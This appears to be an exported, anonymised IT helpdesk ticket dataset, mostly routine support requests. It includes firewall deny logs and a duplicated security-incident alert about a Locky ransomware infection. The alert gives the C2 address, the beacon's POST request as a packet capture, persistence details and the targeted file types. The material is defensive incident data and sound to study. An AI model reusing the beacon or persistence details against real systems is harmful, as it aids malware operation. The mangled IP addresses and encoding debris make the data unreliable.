aug 3 17:49:11 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56958 dst outside:192.168.54.65/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:19 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56975 dst outside:192.168.68.106/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:22 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56984 dst outside:192.168.43.240/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:30 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57011 dst outside:192.168.254.28/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57026 dst outside:192.168.1.37/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57027 dst outside:192.168.0.11/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57037 dst outside:192.168.1.105/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57038 dst outside:192.168.0.20/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:52 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57066 dst outside:192.168.1.11/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:55 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57087 dst outside:192.168.1.71/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:50:01 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57127 dst outside:192.168.1.139/445 by access-group "acl\_inside" [0x0, 0x0], is assigned to Assignment group: GRP\_12.Ticket with Short description: security incidents - ( sw #in33544563 ) : possible locky ransomware infection - lpal9516827 / 45.25.35.0499, Description: source ip : 45.25.35.0499
system name : lpal9516827
user name: sbinuxja vtbegcho (nicolmghyu)
location : /centralsamerirtca/south\_amerirtca/fieldsales-vpn-pcs
sep , sms status : see below
field sales user ( yes / no) : no
dsw event log: see below
\*\*
content versions
fmxcnwpu tcwrdqboinition version: 08/07/2016 r19
sequence: 179810
host integrity content: 10/28/2015 r1
reputation settings: 03/02/2015 r5
ap portal list: 11/11/2015 r22
intrusion prevention signature: 08/05/2016 r11
power eraser definitions: 10/28/2015 r36
revocation content: 08/03/2016 r2
eraser engine: 115.2.1.18
sonar content: 07/18/2016 r1
extended file attributes and signatures: 08/04/2016 r3
symantec permitted applications list: 08/05/2016 r22
\*\*
sonar and risk logs
risk information
downloaded or created by: c:\programdnty files (x86)\java\jre1.8.0\_101\bin\javaw.exe
file or path: c:\users\nicolmghyu\202b4bcc-bddb48f94-1\9940ef2a-b.exe
application: 9940ef2a-b.exe
application type: not applicable
category set: malware
category type: heuristic virus
version: 1.0.0.0
file size: 3332167
hash: 1c9fca98197534681661982b366668541fa6f8d5f6480a64ffddfee7fbf502d5
hash algorithm: sha-256
risk reputation
first seen: symantec has known about this file approximately 2 days.
reputation: this file is untrustworthy.
prevalence: this file has been seen by fewer than 5 symantec users.
sonar risk level: high
sensitivity: 1 (low)
detection score: 1
sonar engine version: 10.1.0.96
submit: not recommended to submit
\*\*
=========================
incident overview
=========================
the ctoc has received an alert for '52655 vid74472 locky ransomware c2 communication outbound' from your isensor device (10.32.100.17/isensor03.company.com) for traffic sourcing from port 65360/tcp of lpal9516827/45.25.35.0499 destined to port 80/tcp of 81.4.108.247 (geffen, nld) that occurred on 2016-08-08 at 18:49:36. this activity indicates that lpal9516827/45.25.35.0499 has likely been infected with the locky ransomware.
the outbound http traffic from the infected device contained the following method data:
protocol: tcp
http method: post
http version: http/1.0
domain: 81.4.108.247
url path: /comercial/cadastra.php
user-agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)
content length: 127
we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at .
1) ticket only escalation for related events (medium priority ticket and an e-mail only notification).
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).
sincerely,
secureworks ctoc
=========================
technical details
=========================
locky is a new ransomware that encrypts your data using aes encryption and then demands a form of digital currency to decrypt your files. locky is distributed by malicious attachments to spam emails and recently seen in massive phishing campaigns with microsoft word document attachments. ctu researchers have observed attachments (for example, inwarehouse\_tool\_j-81076273.doc) with embedded macro code used to download the locky payload. filenames seem to be constructed by using eight random numbers following "inwarehouse\_tool\_j-". a potential victim receiving the attachment needs to open it and enable the macro which will then initiate the payload download over http.
once locky is running on the compromised system, it drops a copy of itself in the %temp% directory under the affected user's profile and sets a registry run key to ensure persistence across reboots. the dropped file has used the filenames ladybi.exe and svchost.exe. locky also sets the hkcu\software\locky registry key and creates the values listed in the ctu tips article provided in the references section.
locky also checks for the following registry keys, which may indicate the presence of security-related software:
â€¢ software\kasperskylab
â€¢ software\eset
â€¢ software\avast software
the victim is notified of the infection when the desktop background image changes (see figure 4 in ctu tips). locky places the same instructions in a text file and a bitmap image on the desktop and displays both of these files to the victim.
there is unconfirmed speculation that the operators of the botnet distributing the locky malware are also responsible for the bugat v5 (dridex) banking trojan. the spam emanates from the same botnet that distributes bugat v5 and other threats such as the shiz/shifu malware, but this finding is not conclusive because the botnet is used by various affiliates at different times.
locky may also have the capability to locate network resources and encrypt files in those locations. ctu researchers are analysing a block of code that may be used to enumerate network-based locations (2016-02-19).
locky attempts encryption on the following files and file types:
.qcow2
.vmdk
.tar
.bz2
.jpeg
.sqlite3
.ppsm
.potm
.xlsx
.docm
wallet.dat
.xlsm
.xlsb
.dotm
.dotx
.docx
.djvu
.pptx
.pptm
.xltx
.xltm
.ppsx
.ppam
.docb
.potx
.lay6
.mSID\_33
.sldm
.sldx
.tiff
.class
.java
.sqlitedb
=========================
references
=========================
=========================
event data
=========================
event id: 304325068
event summary: 52655 vid74472 locky ransomware c2 communication outbound
occurrence count: 1
event count: 1
host and connection information
source ip: 45.25.35.0499
source hostname: lpal9516827
source port: 65360
destination ip: 81.4.108.247
destination hostname: ha6.ru.
destination port: 80
destination ip geolocation: geffen, nld
connection directionality: outgoing
http method: post
user agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)
host: 81.4.108.247
full url path: /comercial/cadastra.php
device information
device ip: 10.32.100.17
device name: isensor03.company.com
log time: 2016-08-08 at 18:49:36 utc
action: not blocked
vendor eventid: 349194
cvss score: -1
vendor priority: 1
vendor version: 7
scwx event processing information
sherlock rule id (sle): 2114736
inspector rule id: 277082
inspector event id: 031975724
ontology id: 200020003203758352
event type id: 200020003203696566
agent id: 102805
event detail:
[\*\*] [1:21163766:6] 52655 vid74472 locky ransomware c2 communication outbound [\*\*]
[classification: none] [priority: 1] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602982][event id: 349194][time: 2581793287.437864]
[src ip: 45.25.35.0499][dst ip: 81.4.108.247][sport/itype: 65360][dport/icode: 80][proto: 6]
08/08/2016-18:49:36.437864 45.25.35.0499:65360 -> 81.4.108.247:80
tcp ttl:124 tos:0x0 id:10107 iplen:20 dgmlen:408 df
\*\*\*ap\*\*\* seq: 0x85a5dbff ack: 0xb770f7f2 win: 0x102 tcplen: 20
==pcap 1==
[ex http\_uri 9: /comercial/cadastra.php]
[ex http\_hostname 10: 81.4.108.247]
[o:security]
ascii packet(s):
==pcap 1 ascii s==
....@..wh...........e...'{@.|....,j.q.l..p.p.....p..p.......post./comercial/cadastra.php.http/1.0..host:.81.4.108.247..keep-alive:.300..connection:.keep-alive..user-agent:.mozilla/5.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv2)..content-type:.application/x-www-form-urlencoded..content-length:.127....nome=lpal9516827&so=win10&data=08/08/2016.15:49:36&vs=9&idioma=portugu.s.(south\_amerirtca)&anti={windows}.&plugin=-it&idcx=cxl[02-08-16]
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 40d4 a857 68ae 0600 9801 0000 ....@..wh.......
000010 9801 0000 4500 0198 277b 4000 7c06 c31e ....e...'{@.|...
000020 0a2c 4a9f 5104 6cf7 ff50 0050 85a5 dbff .,j.q.l..p.p....
000030 b770 f7f2 5018 0102 93f3 0000 504f 5354 .p..p.......post
000040 202f 434f 4d45 5243 4941 4c2f 6361 6461 ./comercial/cada
000050 7374 7261 2e70 6870 2048 5454 502f 312e stra.php.http/1.
000060 300d 0a48 6f73 743a 2038 312e 342e 3130 0..host:.81.4.10
000070 382e 3234 370d 0a4b 6565 702d 416c 6976 8.247..keep-aliv
000080 653a 2033 3030 0d0a 436f 6e6e 6563 7469 e:.300..connecti
000090 6f6e 3a20 6b65 6570 2SID\_26 6c69 7665 0d0a on:.keep-alive..
0000a0 5573 6572 2SID\_29 6765 6e74 3a20 4d6f 7a69 user-agent:.mozi
0000b0 6c6c 612f 352e 3020 2863 6f6d 7061 7469 lla/5.0.(compati
0000c0 626c 653b 204d 5349 4520 362e 303b 2057 ble;.msie.6.0;.w
0000d0 696e 646f 7773 204e 5420 352e 313b 2053 indows.nt.5.1;.s
0000e0 5632 290d 0a43 6f6e 7465 6e74 2d54 7970 v2)..content-typ
0000f0 653a 2061 7070 6c69 6361 7469 6f6e 2f78 e:.application/x
000100 2d77 7777 2d66 6f72 6d2d 7572 6c65 6e63 -www-form-urlenc
000110 6f64 6564 0d0a 436f 6e74 656e 742d 4c65 oded..content-le
000120 6e67 7468 3a20 3132 370d 0a0d 0a4e 4f4d ngth:.127....nom
000130 453d 4c50 414c 3834 3035 3731 3626 534f e=lpal9516827&so
000140 3d57 494e 3130 2644 4154 413d 3038 2f30 =win10&data=08/0
000150 382f 3230 3136 2031 353a 3439 3a33 3626 8/2016.15:49:36&
000160 5653 3d39 2649 4449 4f4d 413d 506f 7274 vs=9&idioma=port
000170 7567 75ea 7320 2842 7261 7369 6c29 2641 ugu.s.(south\_amerirtca)&a
000180 4e54 493d 7b57 494e 444f 5753 7d20 2650 nti={windows}.&p
000190 4c55 4749 4e3d 2d49 5426 4944 4358 3d43 lugin=-it&idcx=c
0001a0 584c 5b30 322d 3038 2d31 365d xl[02-08-16]
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to connect with vpn, Description: \_x000D\_
\_x000D\_
received from: ivohcdpw.ixcanwbm@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
i am trying to connect with virtual private network through \_x000D\_
\_x000D\_
please do the need full . tomorrow at 1400 hrs i will be free by 0900hrs to 1330hrs i will be inside govt. factory and laptop and mobile is not allowed .\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: xceliron process not working - inwarehouse\_tools are blocking due to missing goods receipt., Description: xceliron process not working - inwarehouse\_tools are blocking due to missing goods receipt. vendor is routinely not getting paid because of no goods receipt. asuenpyg vzmneycx created process whereby the goods receipts were to be done via the system. this process is not working., is assigned to Assignment group: GRP\_29.Ticket with Short description: abended job in job\_scheduler: bkbackup\_tool\_HostName\_770\_prod\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkbackup\_tool\_HostName\_770\_prod\_inc at 08/09/16 12:56:26, is assigned to Assignment group: GRP\_5.Ticket with Short description: lhqw8325925sf: usa-nologin-collaboration\_platform: script returned unexpected value 3., Description: lhqw8325925sf: usa-nologin-collaboration\_platform: script returned unexpected value 3. , is assigned to Assignment group: GRP\_8.Ticket with Short description: security incidents - ( sw #in33544563 ) : possible locky ransomware infection - lpal9516827 / 45.25.35.0499, Description: source ip : 45.25.35.0499\_x000D\_
system name : lpal9516827\_x000D\_
user name: sbinuxja vtbegcho (nicolmghyu)\_x000D\_
location : /centralsamerirtca/south\_amerirtca/fieldsales-vpn-pcs\_x000D\_
sep , sms status : see below\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log: see below\_x000D\_
\_x000D\_
\*\*\_x000D\_
\_x000D\_
content versions\_x000D\_
fmxcnwpu tcwrdqboinition version: 08/07/2016 r19 \_x000D\_
sequence: 179810 \_x000D\_
host integrity content: 10/28/2015 r1 \_x000D\_
reputation settings: 03/02/2015 r5 \_x000D\_
ap portal list: 11/11/2015 r22 \_x000D\_
intrusion prevention signature: 08/05/2016 r11 \_x000D\_
power eraser definitions: 10/28/2015 r36 \_x000D\_
revocation content: 08/03/2016 r2 \_x000D\_
eraser engine: 115.2.1.18 \_x000D\_
sonar content: 07/18/2016 r1 \_x000D\_
extended file attributes and signatures: 08/04/2016 r3 \_x000D\_
symantec permitted applications list: 08/05/2016 r22 \_x000D\_
\_x000D\_
\*\*\_x000D\_
\_x000D\_
sonar and risk logs\_x000D\_
\_x000D\_
risk information\_x000D\_
downloaded or created by: c:\programdnty files (x86)\java\jre1.8.0\_101\bin\javaw.exe \_x000D\_
file or path: c:\users\nicolmghyu\202b4bcc-bddb48f94-1\9940ef2a-b.exe \_x000D\_
application: 9940ef2a-b.exe \_x000D\_
application type: not applicable \_x000D\_
category set: malware \_x000D\_
category type: heuristic virus \_x000D\_
version: 1.0.0.0 \_x000D\_
file size: 3332167 \_x000D\_
hash: 1c9fca98197534681661982b366668541fa6f8d5f6480a64ffddfee7fbf502d5 \_x000D\_
hash algorithm: sha-256 \_x000D\_
\_x000D\_
risk reputation\_x000D\_
first seen: symantec has known about this file approximately 2 days. \_x000D\_
reputation: this file is untrustworthy. \_x000D\_
prevalence: this file has been seen by fewer than 5 symantec users. \_x000D\_
sonar risk level: high \_x000D\_
sensitivity: 1 (low) \_x000D\_
detection score: 1 \_x000D\_
sonar engine version: 10.1.0.96 \_x000D\_
submit: not recommended to submit \_x000D\_
\_x000D\_
\*\*\_x000D\_
\_x000D\_
=========================\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
the ctoc has received an alert for '52655 vid74472 locky ransomware c2 communication outbound' from your isensor device (10.32.100.17/isensor03.company.com) for traffic sourcing from port 65360/tcp of lpal9516827/45.25.35.0499 destined to port 80/tcp of 81.4.108.247 (geffen, nld) that occurred on 2016-08-08 at 18:49:36. this activity indicates that lpal9516827/45.25.35.0499 has likely been infected with the locky ransomware.\_x000D\_
\_x000D\_
\_x000D\_
the outbound http traffic from the infected device contained the following method data:\_x000D\_
protocol: tcp\_x000D\_
http method: post\_x000D\_
http version: http/1.0\_x000D\_
domain: 81.4.108.247\_x000D\_
url path: /comercial/cadastra.php\_x000D\_
user-agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)\_x000D\_
content length: 127\_x000D\_
\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at .\_x000D\_
1) ticket only escalation for related events (medium priority ticket and an e-mail only notification).\_x000D\_
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks ctoc\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
locky is a new ransomware that encrypts your data using aes encryption and then demands a form of digital currency to decrypt your files. locky is distributed by malicious attachments to spam emails and recently seen in massive phishing campaigns with microsoft word document attachments. ctu researchers have observed attachments (for example, inwarehouse\_tool\_j-81076273.doc) with embedded macro code used to download the locky payload. filenames seem to be constructed by using eight random numbers following "inwarehouse\_tool\_j-". a potential victim receiving the attachment needs to open it and enable the macro which will then initiate the payload download over http.\_x000D\_
\_x000D\_
once locky is running on the compromised system, it drops a copy of itself in the %temp% directory under the affected user's profile and sets a registry run key to ensure persistence across reboots. the dropped file has used the filenames ladybi.exe and svchost.exe. locky also sets the hkcu\software\locky registry key and creates the values listed in the ctu tips article provided in the references section. \_x000D\_
\_x000D\_
locky also checks for the following registry keys, which may indicate the presence of security-related software:\_x000D\_
â€¢ software\kasperskylab\_x000D\_
â€¢ software\eset\_x000D\_
â€¢ software\avast software\_x000D\_
\_x000D\_
the victim is notified of the infection when the desktop background image changes (see figure 4 in ctu tips). locky places the same instructions in a text file and a bitmap image on the desktop and displays both of these files to the victim.\_x000D\_
\_x000D\_
there is unconfirmed speculation that the operators of the botnet distributing the locky malware are also responsible for the bugat v5 (dridex) banking trojan. the spam emanates from the same botnet that distributes bugat v5 and other threats such as the shiz/shifu malware, but this finding is not conclusive because the botnet is used by various affiliates at different times.\_x000D\_
\_x000D\_
locky may also have the capability to locate network resources and encrypt files in those locations. ctu researchers are analysing a block of code that may be used to enumerate network-based locations (2016-02-19).\_x000D\_
\_x000D\_
locky attempts encryption on the following files and file types:\_x000D\_
\_x000D\_
.qcow2\_x000D\_
.vmdk\_x000D\_
.tar\_x000D\_
.bz2\_x000D\_
.jpeg\_x000D\_
.sqlite3\_x000D\_
.ppsm\_x000D\_
.potm\_x000D\_
.xlsx\_x000D\_
.docm\_x000D\_
wallet.dat\_x000D\_
.xlsm\_x000D\_
.xlsb\_x000D\_
.dotm\_x000D\_
.dotx\_x000D\_
.docx \_x000D\_
.djvu\_x000D\_
.pptx\_x000D\_
.pptm\_x000D\_
.xltx \_x000D\_
.xltm\_x000D\_
.ppsx\_x000D\_
.ppam\_x000D\_
.docb\_x000D\_
.potx\_x000D\_
.lay6\_x000D\_
.mSID\_33\_x000D\_
.sldm\_x000D\_
.sldx\_x000D\_
.tiff\_x000D\_
.class\_x000D\_
.java \_x000D\_
.sqlitedb\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
references\_x000D\_
========================= \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
\_x000D\_
event id: 304325068\_x000D\_
event summary: 52655 vid74472 locky ransomware c2 communication outbound\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 45.25.35.0499\_x000D\_
source hostname: lpal9516827\_x000D\_
source port: 65360\_x000D\_
destination ip: 81.4.108.247\_x000D\_
destination hostname: ha6.ru.\_x000D\_
destination port: 80\_x000D\_
destination ip geolocation: geffen, nld\_x000D\_
connection directionality: outgoing\_x000D\_
http method: post\_x000D\_
user agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)\_x000D\_
host: 81.4.108.247\_x000D\_
full url path: /comercial/cadastra.php\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 10.32.100.17\_x000D\_
device name: isensor03.company.com\_x000D\_
log time: 2016-08-08 at 18:49:36 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 349194\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 1\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 2114736\_x000D\_
inspector rule id: 277082\_x000D\_
inspector event id: 031975724\_x000D\_
ontology id: 200020003203758352\_x000D\_
event type id: 200020003203696566\_x000D\_
agent id: 102805\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163766:6] 52655 vid74472 locky ransomware c2 communication outbound [\*\*]\_x000D\_
[classification: none] [priority: 1] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602982][event id: 349194][time: 2581793287.437864]\_x000D\_
[src ip: 45.25.35.0499][dst ip: 81.4.108.247][sport/itype: 65360][dport/icode: 80][proto: 6]\_x000D\_
08/08/2016-18:49:36.437864 45.25.35.0499:65360 -> 81.4.108.247:80\_x000D\_
tcp ttl:124 tos:0x0 id:10107 iplen:20 dgmlen:408 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x85a5dbff ack: 0xb770f7f2 win: 0x102 tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /comercial/cadastra.php]\_x000D\_
\_x000D\_
[ex http\_hostname 10: 81.4.108.247]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
....@..wh...........e...'{@.|....,j.q.l..p.p.....p..p.......post./comercial/cadastra.php.http/1.0..host:.81.4.108.247..keep-alive:.300..connection:.keep-alive..user-agent:.mozilla/5.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv2)..content-type:.application/x-www-form-urlencoded..content-length:.127....nome=lpal9516827&so=win10&data=08/08/2016.15:49:36&vs=9&idioma=portugu.s.(south\_amerirtca)&anti={windows}.&plugin=-it&idcx=cxl[02-08-16]\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 40d4 a857 68ae 0600 9801 0000 ....@..wh.......\_x000D\_
000010 9801 0000 4500 0198 277b 4000 7c06 c31e ....e...'{@.|...\_x000D\_
000020 0a2c 4a9f 5104 6cf7 ff50 0050 85a5 dbff .,j.q.l..p.p....\_x000D\_
000030 b770 f7f2 5018 0102 93f3 0000 504f 5354 .p..p.......post\_x000D\_
000040 202f 434f 4d45 5243 4941 4c2f 6361 6461 ./comercial/cada\_x000D\_
000050 7374 7261 2e70 6870 2048 5454 502f 312e stra.php.http/1.\_x000D\_
000060 300d 0a48 6f73 743a 2038 312e 342e 3130 0..host:.81.4.10\_x000D\_
000070 382e 3234 370d 0a4b 6565 702d 416c 6976 8.247..keep-aliv\_x000D\_
000080 653a 2033 3030 0d0a 436f 6e6e 6563 7469 e:.300..connecti\_x000D\_
000090 6f6e 3a20 6b65 6570 2SID\_26 6c69 7665 0d0a on:.keep-alive..\_x000D\_
0000a0 5573 6572 2SID\_29 6765 6e74 3a20 4d6f 7a69 user-agent:.mozi\_x000D\_
0000b0 6c6c 612f 352e 3020 2863 6f6d 7061 7469 lla/5.0.(compati\_x000D\_
0000c0 626c 653b 204d 5349 4520 362e 303b 2057 ble;.msie.6.0;.w\_x000D\_
0000d0 696e 646f 7773 204e 5420 352e 313b 2053 indows.nt.5.1;.s\_x000D\_
0000e0 5632 290d 0a43 6f6e 7465 6e74 2d54 7970 v2)..content-typ\_x000D\_
0000f0 653a 2061 7070 6c69 6361 7469 6f6e 2f78 e:.application/x\_x000D\_
000100 2d77 7777 2d66 6f72 6d2d 7572 6c65 6e63 -www-form-urlenc\_x000D\_
000110 6f64 6564 0d0a 436f 6e74 656e 742d 4c65 oded..content-le\_x000D\_
000120 6e67 7468 3a20 3132 370d 0a0d 0a4e 4f4d ngth:.127....nom\_x000D\_
000130 453d 4c50 414c 3834 3035 3731 3626 534f e=lpal9516827&so\_x000D\_
000140 3d57 494e 3130 2644 4154 413d 3038 2f30 =win10&data=08/0\_x000D\_
000150 382f 3230 3136 2031 353a 3439 3a33 3626 8/2016.15:49:36&\_x000D\_
000160 5653 3d39 2649 4449 4f4d 413d 506f 7274 vs=9&idioma=port\_x000D\_
000170 7567 75ea 7320 2842 7261 7369 6c29 2641 ugu.s.(south\_amerirtca)&a\_x000D\_
000180 4e54 493d 7b57 494e 444f 5753 7d20 2650 nti={windows}.&p\_x000D\_
000190 4c55 4749 4e3d 2d49 5426 4944 4358 3d43 lugin=-it&idcx=c\_x000D\_
0001a0 584c 5b30 322d 3038 2d31 365d xl[02-08-16]\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_62.Ticket with Short description: engineering tool, Description: engineering tool stops working several times a day, falls without apparent reason and works slow when it succeeds stay running.\_x000D\_
please see attached a print screen of the error.\_x000D\_
, is assigned to Assignment group: GRP\_62.Ticket with Short description: abend batch job in job\_scheduler :bkbackup\_tool\_HostName\_770\_prod\_inc, Description: job name:bkbackup\_tool\_HostName\_770\_prod\_inc, is assigned to Assignment group: GRP\_5.Ticket with Short description: please move client from office 2010 to 2016 per sdxjiwlq ynowzqfh, Description: please move client from office 2010 to 2016 per sdxjiwlq ynowzqfh, is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket\_no1539670 - ticket update, Description: ticket\_no1539670 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: please instal printer pa15 at these laptop, Description: please instal printer pa15 at these laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: restore a file, Description: \_x000D\_
\_x000D\_
received from: nwbhomqe.ejavblzu@gmail.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
please restore the excel file "sc drill catalog 2016-05-31"\_x000D\_
from my home drive o:\solid carbide drills<file:///\\eagclhome\martif1$\solid%20carbide%20drills>\_x000D\_
from yesterday.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to connect to wifi from a hotel // dell 7350, Description: unable to connect to wifi from a hotel // dell 7350, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to insertapps and corporate technology drives, Description: \_x000D\_
\_x000D\_
received from: uterqfld.ufmtgndo@gmail.com\_x000D\_
\_x000D\_
who would i contact at corporate to get access for ldpequhm nqclatbw and alex campbell to the following servers\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
teams://HostName\_771/tech center grade specifications/ceramdntyic specs\_x000D\_
\_x000D\_
access is needed to support manufacturing and technology.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: audio not working on dell 7350 tablet, Description: audio not working on dell 7350 tablet, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create reports in ticketing\_tool, Description: i am unable to create/save new reports in ticketing\_tool. , is assigned to Assignment group: GRP\_36.Ticket with Short description: unable to boot up the laptop, Description: unable to boot up the laptop, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to sign in to skype and outlook, Description: unable to sign in to skype and outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1132:wrong number of instances of process \*epmsystem2.exe\*, expected 2 - found 1, Description: HostName\_1132:epmsystem2.exe: wrong number of instances of process \*epmsystem2.exe\*, expected 2 - found 1, is assigned to Assignment group: GRP\_12.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: error in customer, Description: \_x000D\_
\_x000D\_
received from: aiobpkzm.rmfjwtpl@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
the customer 81908859, must to include the next data:\_x000D\_
dana manufacturing luxembourg\_x000D\_
division enco / immex 488-2007\_x000D\_
vat reg. no. lu38092497\_x000D\_
dmc750410c41\_x000D\_
\_x000D\_
but know we have these one:\_x000D\_
dana de mexico corporacion mexico srl\_x000D\_
de cv / division enco / immex 488-2007\_x000D\_
vat reg. no. lu38092497\_x000D\_
dmc750410c41\_x000D\_
and these data is wrong.\_x000D\_
\_x000D\_
[cid:image003.png@01d1f222.eSID\_5356b0][cid:image002.png@01d1f222.cb378bc0]\_x000D\_
\_x000D\_
what can i do to get the real information\_x000D\_
\_x000D\_
this information is in the customer\_x000D\_
\_x000D\_
[cid:image004.png@01d1f222.eSID\_5356b0]\_x000D\_
\_x000D\_
please let me know if you can help me\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: hub home page regional news does not have amerirtcas option, Description: see att, is assigned to Assignment group: GRP\_16.Ticket with Short description: issues with internet explorer which is freezing all the time, Description: \_x000D\_
\_x000D\_
received from: jnqmvard.jiazxvcl@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset , Description: need erp password reset. i am getting the error when logging into engineering tool that i have attempted to many times with the wrong password (old password)., is assigned to Assignment group: GRP\_0.Ticket with Short description: a supplier told me that i have no warehouse\_toolmail (x5380). matheywt kaufsfthyman is also having the same problem (x4465), Description: koiapqbg teyldpkw, matheywt kaufsfthyman , phone system warehouse\_toolmail, is assigned to Assignment group: GRP\_0.Ticket with Short description: desk phone warehouse\_toolmail, Description: when accessing my warehouse\_toolmail, i receive a busy signal. the red warehouse\_toolmail light is activated on my phone, when i push the button a busy signal is received.\_x000D\_
\_x000D\_
others are having the same issues. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery failures, Description: date of email: 07/20/2016 (i have attached both email, the one i sent and was not delivered and the other i have received with the delivery error message)\_x000D\_
sender's name: uidgt olibercsu (kbnfxpsy.gehxzayq@gmail.com)\_x000D\_
recipient if not caller: jgnxyahz cixzwuyf (jgnxyahz.cixzwuyf@gmail.com)\_x000D\_
delivery failure code: 0x9115121f-0x9115121f-0x000501\_x000D\_
delivery failure text:sua mensagem nÃ£o foi recebida por um ou mais dos destinatÃ¡rios.\_x000D\_
\_x000D\_
assunto: enc: curso: "customer logistics services (cls)"\_x000D\_
enviada em: 20/07/2016 19:56\_x000D\_
\_x000D\_
nÃ£o Ã© possÃ­vel encontrar os seguintes destinatÃ¡rios:\_x000D\_
\_x000D\_
